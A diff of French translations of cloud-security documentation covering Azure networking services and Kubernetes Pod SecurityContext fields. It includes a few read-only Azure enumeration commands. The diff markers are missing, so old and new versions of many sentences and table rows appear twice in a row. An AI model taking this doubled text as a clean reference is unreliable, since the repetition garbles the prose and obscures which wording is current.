Azure Private Link est un service dans Azure qui **permet un accès privé aux services Azure** en garantissant que **le trafic entre votre réseau virtuel Azure (VNet) et le service circule entièrement au sein du réseau backbone de Microsoft Azure**. Il intègre efficacement le service dans votre VNet. Cette configuration améliore la sécurité en ne rendant pas les données accessibles sur Internet public.
Private Link peut être utilisé avec divers services Azure, comme Azure Storage, Azure SQL Database, et des services personnalisés partagés via Private Link. Il fournit un moyen sécurisé de consommer des services depuis votre propre VNet ou même depuis différentes souscriptions Azure.
> [!CAUTION]
> Les NSG ne s'appliquent pas aux points de terminaison privés, ce qui signifie clairement qu'associer un NSG à un sous-réseau contenant le Private Link n'aura aucun effet.
> Les NSG ne s'appliquent pas aux points de terminaison privés, ce qui signifie clairement que l'association d'un NSG avec un sous-réseau contenant le Private Link n'aura aucun effet.
**Exemple :**
Considérez un scénario où vous avez une **base de données Azure SQL que vous souhaitez accéder de manière sécurisée depuis votre VNet**. Normalement, cela pourrait impliquer de traverser Internet public. Avec Private Link, vous pouvez créer un **point de terminaison privé dans votre VNet** qui se connecte directement au service de base de données Azure SQL. Ce point de terminaison fait apparaître la base de données comme si elle faisait partie de votre propre VNet, accessible via une adresse IP privée, garantissant ainsi un accès sécurisé et privé.
Considérez un scénario où vous avez une **base de données Azure SQL que vous souhaitez accéder de manière sécurisée depuis votre VNet**. Normalement, cela pourrait impliquer de traverser Internet public. Avec Private Link, vous pouvez créer un **point de terminaison privé dans votre VNet** qui se connecte directement au service Azure SQL Database. Ce point de terminaison fait apparaître la base de données comme si elle faisait partie de votre propre VNet, accessible via une adresse IP privée, garantissant ainsi un accès sécurisé et privé.
### **Enumeration**
@@ -205,9 +206,9 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
{{#endtab }}
{{#endtabs }}
## Points de terminaison de service Azure
## Points de terminaison des services Azure
Les points de terminaison de service Azure étendent l'espace d'adresses privées de votre réseau virtuel et l'identité de votre VNet aux services Azure via une connexion directe. En activant les points de terminaison de service, **les ressources de votre VNet peuvent se connecter en toute sécurité aux services Azure**, comme Azure Storage et Azure SQL Database, en utilisant le réseau backbone d'Azure. Cela garantit que le **trafic du VNet vers le service Azure reste au sein du réseau Azure**, offrant un chemin plus sécurisé et fiable.
Les points de terminaison des services Azure étendent l'espace d'adresses privées de votre réseau virtuel et l'identité de votre VNet aux services Azure via une connexion directe. En activant les points de terminaison de service, **les ressources de votre VNet peuvent se connecter en toute sécurité aux services Azure**, comme Azure Storage et Azure SQL Database, en utilisant le réseau backbone d'Azure. Cela garantit que le **trafic du VNet vers le service Azure reste au sein du réseau Azure**, offrant un chemin plus sécurisé et fiable.
**Exemple :**
@@ -254,7 +255,7 @@ Microsoft recommande d'utiliser les Liens Privés dans les [**docs**](https://le
- Le Lien Privé mappe les services Azure dans votre VNet via un point de terminaison privé, qui est une interface réseau avec une adresse IP privée au sein de votre VNet.
- Le service Azure est accessible en utilisant cette adresse IP privée, donnant l'impression qu'il fait partie de votre réseau.
- Les services connectés via le Lien Privé ne peuvent être accessibles que depuis votre VNet ou des réseaux connectés ; il n'y a pas d'accès à l'internet public pour le service.
- Les services connectés via le Lien Privé ne peuvent être accessibles que depuis votre VNet ou des réseaux connectés ; il n'y a pas d'accès à internet public au service.
- Il permet une connexion sécurisée aux services Azure ou à vos propres services hébergés dans Azure, ainsi qu'une connexion aux services partagés par d'autres.
- Il fournit un contrôle d'accès plus granulaire via un point de terminaison privé dans votre VNet, par opposition à un contrôle d'accès plus large au niveau du sous-réseau avec des points de terminaison de service.
@@ -264,7 +265,7 @@ En résumé, bien que les Points de Terminaison de Service et les Liens Privés
**Azure Front Door** est un point d'entrée évolutif et sécurisé pour **une livraison rapide** de vos applications web mondiales. Il **combine** divers services tels que l'**équilibrage de charge mondial, l'accélération de site, le déchargement SSL et les capacités de pare-feu d'application web (WAF)** en un seul service. Azure Front Door fournit un routage intelligent basé sur la **localisation de bord la plus proche de l'utilisateur**, garantissant des performances et une fiabilité optimales. De plus, il offre un routage basé sur l'URL, l'hébergement de plusieurs sites, l'affinité de session et la sécurité au niveau de l'application.
**Azure Front Door WAF** est conçu pour **protéger les applications web contre les attaques basées sur le web** sans modification du code de back-end. Il inclut des règles personnalisées et des ensembles de règles gérées pour se protéger contre des menaces telles que l'injection SQL, le scripting intersite et d'autres attaques courantes.
**Azure Front Door WAF** est conçu pour **protéger les applications web contre les attaques basées sur le web** sans modification du code de back-end. Il inclut des règles personnalisées et des ensembles de règles gérées pour se protéger contre des menaces telles que l'injection SQL, le cross-site scripting et d'autres attaques courantes.
**Exemple :**
@@ -299,7 +300,7 @@ Azure Application Gateway est un **équilibreur de charge de trafic web** qui vo
**Exemple :**
Considérez un scénario où vous avez un site web de commerce électronique qui comprend plusieurs sous-domaines pour différentes fonctions, telles que les comptes utilisateurs et le traitement des paiements. Azure Application Gateway peut **router le trafic vers les serveurs web appropriés en fonction du chemin URL**. Par exemple, le trafic vers `example.com/accounts` pourrait être dirigé vers le service des comptes utilisateurs, et le trafic vers `example.com/pay` pourrait être dirigé vers le service de traitement des paiements.\
Considérez un scénario où vous avez un site web de commerce électronique qui comprend plusieurs sous-domaines pour différentes fonctions, telles que les comptes utilisateurs et le traitement des paiements. Azure Application Gateway peut **router le trafic vers les serveurs web appropriés en fonction du chemin de l'URL**. Par exemple, le trafic vers `example.com/accounts` pourrait être dirigé vers le service des comptes utilisateurs, et le trafic vers `example.com/pay` pourrait être dirigé vers le service de traitement des paiements.\
Et **protégez votre site web contre les attaques en utilisant les capacités WAF.**
### **Énumération**
@@ -321,7 +322,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
## Azure Hub, Spoke & VNet Peering
**Le Peering VNet** est une fonctionnalité de mise en réseau dans Azure qui **permet à différents Réseaux Virtuels (VNets) d'être connectés directement et sans interruption**. Grâce au peering VNet, les ressources dans un VNet peuvent communiquer avec des ressources dans un autre VNet en utilisant des adresses IP privées, **comme si elles étaient dans le même réseau**.\
**Le Peering VNet** est une fonctionnalité de mise en réseau dans Azure qui **permet à différents Réseaux Virtuels (VNets) d'être connectés directement et sans couture**. Grâce au peering VNet, les ressources dans un VNet peuvent communiquer avec des ressources dans un autre VNet en utilisant des adresses IP privées, **comme si elles étaient dans le même réseau**.\
**Le Peering VNet peut également être utilisé avec des réseaux sur site** en configurant un VPN site à site ou Azure ExpressRoute.
**Azure Hub et Spoke** est une topologie de réseau utilisée dans Azure pour gérer et organiser le trafic réseau. **Le "hub" est un point central qui contrôle et dirige le trafic entre différents "spokes"**. Le hub contient généralement des services partagés tels que des appliances virtuelles réseau (NVA), Azure VPN Gateway, Azure Firewall ou Azure Bastion. Les **"spokes" sont des VNets qui hébergent des charges de travail et se connectent au hub via le peering VNet**, leur permettant de tirer parti des services partagés au sein du hub. Ce modèle favorise une disposition réseau claire, réduisant la complexité en centralisant les services communs que plusieurs charges de travail à travers différents VNets peuvent utiliser.
@@ -363,11 +364,11 @@ Get-AzFirewall
## VPN Site-à-Site
Un VPN Site-à-Site dans Azure vous permet de **connecter votre réseau local à votre Réseau Virtuel Azure (VNet)**, permettant aux ressources telles que les VM dans Azure d'apparaître comme si elles étaient sur votre réseau local. Cette connexion est établie via une **passerelle VPN qui chiffre le trafic** entre les deux réseaux.
Un VPN Site-à-Site dans Azure vous permet de **connecter votre réseau local à votre réseau virtuel Azure (VNet)**, permettant aux ressources telles que les VM dans Azure d'apparaître comme si elles étaient sur votre réseau local. Cette connexion est établie via une **passerelle VPN qui chiffre le trafic** entre les deux réseaux.
**Exemple :**
Une entreprise dont le bureau principal est situé à New York dispose d'un centre de données sur site qui doit se connecter de manière sécurisée à son VNet dans Azure, qui héberge ses charges de travail virtualisées. En configurant un **VPN Site-à-Site, l'entreprise peut garantir une connectivité chiffrée entre les serveurs sur site et les VM Azure**, permettant un accès sécurisé aux ressources à travers les deux environnements comme si elles étaient sur le même réseau local.
Une entreprise dont le bureau principal est situé à New York dispose d'un centre de données sur site qui doit se connecter de manière sécurisée à son VNet dans Azure, qui héberge ses charges de travail virtualisées. En configurant un **VPN Site-à-Site, l'entreprise peut garantir une connectivité chiffrée entre les serveurs sur site et les VM Azure**, permettant un accès sécurisé aux ressources à travers les deux environnements comme si elles se trouvaient sur le même réseau local.
### **Énumération**

View File

@@ -13,8 +13,9 @@ Lors de la spécification du contexte de sécurité d'un Pod, vous pouvez utilis
- Si possible, envisager de **limiter** les **permissions** en indiquant **seLinuxOptions** et **seccompProfile**
- Ne **PAS** donner d'accès au **groupe** de **privilèges** via **runAsGroup** et **supplementaryGroups**
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Un groupe supplémentaire spécial qui s'applique à <strong>tous les conteneurs dans un pod</strong>. Certains types de volumes permettent au Kubelet de <strong>changer la propriété de ce volume</strong> pour qu'il soit possédé par le pod :<br>1. Le GID propriétaire sera le FSGroup<br>2. Le bit setgid est défini (les nouveaux fichiers créés dans le volume seront possédés par FSGroup)<br>3. Les bits de permission sont OR'd avec rw-rw---- Si non défini, le Kubelet ne modifiera pas la propriété et les permissions de tout volume</p> |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Paramètre | Description |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Un groupe supplémentaire spécial qui s'applique à <strong>tous les conteneurs d'un pod</strong>. Certains types de volumes permettent au Kubelet de <strong>changer la propriété de ce volume</strong> pour qu'il soit possédé par le pod :<br>1. Le GID propriétaire sera le FSGroup<br>2. Le bit setgid est défini (les nouveaux fichiers créés dans le volume seront possédés par FSGroup)<br>3. Les bits de permission sont OR'd avec rw-rw---- Si non défini, le Kubelet ne modifiera pas la propriété et les permissions de tout volume</p> |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | Cela définit le comportement de **changement de propriété et de permission du volume** avant d'être exposé à l'intérieur du Pod. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | Le **GID pour exécuter le point d'entrée du processus du conteneur**. Utilise la valeur par défaut d'exécution si non défini. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Indique que le conteneur doit s'exécuter en tant qu'utilisateur non-root. Si vrai, le Kubelet validera l'image à l'exécution pour s'assurer qu'elle ne s'exécute pas en tant que UID 0 (root) et échouera à démarrer le conteneur si c'est le cas. |
@@ -22,7 +23,7 @@ Lors de la spécification du contexte de sécurité d'un Pod, vous pouvez utilis
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Plus d'infos sur</em> <em><strong>seLinux</strong></em></p> | Le **contexte SELinux à appliquer à tous les conteneurs**. Si non spécifié, le runtime du conteneur allouera un contexte SELinux aléatoire pour chaque conteneur. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>Plus d'infos sur</em> <em><strong>Seccomp</strong></em></p> | Les **options seccomp à utiliser par les conteneurs** dans ce pod. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | Une liste de **groupes appliqués au premier processus exécuté dans chaque conteneur**, en plus du GID principal du conteneur. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>Plus d'infos sur</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Les sysctls contiennent une liste de **sysctls namespace utilisés pour le pod**. Les pods avec des sysctls non pris en charge (par le runtime du conteneur) pourraient échouer à se lancer. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>Plus d'infos sur</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Les sysctls contiennent une liste de **sysctls nommés utilisés pour le pod**. Les pods avec des sysctls non pris en charge (par le runtime du conteneur) pourraient échouer à se lancer. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Les paramètres spécifiques à Windows appliqués à tous les conteneurs. Si non spécifié, les options dans le SecurityContext d'un conteneur seront utilisées. |
## SecurityContext
@@ -43,7 +44,7 @@ Notez que les attributs définis dans **SecurityContext et PodSecurityContext**,
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** contrôle si un processus peut **gagner plus de privilèges** que son processus parent. Ce booléen contrôle directement si le drapeau no_new_privs sera défini sur le processus du conteneur. AllowPrivilegeEscalation est toujours vrai lorsque le conteneur est exécuté en tant que **Privileged** ou a **CAP_SYS_ADMIN** |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>Plus d'infos sur</em> <em><strong>Capabilities</strong></em></p> | Les **capabilités à ajouter/supprimer lors de l'exécution des conteneurs**. Par défaut, il s'agit de l'ensemble par défaut de capacités. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>Plus d'infos sur</em> <em><strong>Capabilities</strong></em></p> | Les **capabilités à ajouter/retirer lors de l'exécution des conteneurs**. Par défaut, il s'agit de l'ensemble par défaut de capacités. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Exécuter le conteneur en mode privilégié. Les processus dans les conteneurs privilégiés sont essentiellement **équivalents à root sur l'hôte**. Par défaut, c'est faux. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount désigne le **type de montage proc à utiliser pour les conteneurs**. La valeur par défaut est DefaultProcMount qui utilise les valeurs par défaut du runtime du conteneur pour les chemins en lecture seule et les chemins masqués. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Indique si ce **conteneur a un système de fichiers racine en lecture seule**. La valeur par défaut est fausse. |
@@ -54,7 +55,7 @@ Notez que les attributs définis dans **SecurityContext et PodSecurityContext**,
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | Les **options seccomp** à utiliser par ce conteneur. |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Les **paramètres spécifiques à Windows** appliqués à tous les conteneurs. |
## References
## Références
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)